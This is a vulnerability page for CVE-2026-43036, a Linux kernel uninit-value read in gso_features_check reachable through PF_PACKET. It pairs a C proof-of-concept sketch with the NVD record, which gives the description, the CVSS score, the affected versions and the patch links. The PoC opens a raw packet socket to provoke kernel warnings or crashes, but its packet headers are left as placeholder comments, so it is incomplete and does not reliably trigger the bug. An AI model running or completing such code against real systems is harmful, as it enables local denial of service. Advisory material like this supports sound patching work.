CVE-2026-43036

/* * PoC Concept for CVE-2026-43036 * Triggering the uninit-value read in gso_features_check via PF_PACKET. * Requires local execution. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <arpa/inet.h> #define BUFFER_SIZE 1024 int main() { int sockfd; struct sockaddr_ll sa; char buffer[BUFFER_SIZE]; memset(buffer, 0, BUFFER_SIZE); // Create a raw socket sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("Socket creation failed"); return 1; } // Construct a malicious IP/TCP packet that triggers GSO checks // Note: Actual header construction to trigger the specific path // involves setting specific GSO flags and fragmented offsets. // This is a simplified structure. // Ethernet Header struct ether_header *eth = (struct ether_header *)buffer; // ... fill eth headers ... // IP Header (frag_off manipulation) // ... fill ip headers ... // TCP Header // ... fill tcp headers ... memset(&sa, 0, sizeof(sa)); sa.sll_family = AF_PACKET; // ... set interface index ... // Send packet if (sendto(sockfd, buffer, BUFFER_SIZE, 0, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("Send failed"); } else { printf("Packet sent. Check kernel logs for KMSAN warnings or crashes.\n"); } close(sockfd); return 0; }

{"cve": {"id": "CVE-2026-43036", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:48.273", "lastModified": "2026-05-08T18:44:10.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: use skb_header_pointer() for TCPv4 GSO frag_off check\n\nSyzbot reported a KMSAN uninit-value warning in gso_features_check()\ncalled from netif_skb_features() [1].\n\ngso_features_check() reads iph->frag_off to decide whether to clear\nmangleid_features. Accessing the IPv4 header via ip_hdr()/inner_ip_hdr()\ncan rely on skb header offsets that are not always safe for direct\ndereference on packets injected from PF_PACKET paths.\n\nUse skb_header_pointer() for the TCPv4 frag_off check so the header read\nis robust whether data is already linear or needs copying.\n\n[1] https://syzkaller.appspot.com/bug?extid=1543a7d954d9c6d00407"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "E5CFFFC2-AB31-466D-9B67-DE8909337DC3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/cc91202fc20a44aab4c206f12a2bfe05da936051", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d970341cfa5594614c7a6634886c7688b4f5cafd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ddc748a391dd8642ba6b2e4fe22e7f2ddf84b7f0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f7a6cd508e9e825a2c69fa9e13d41ee156852f25", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}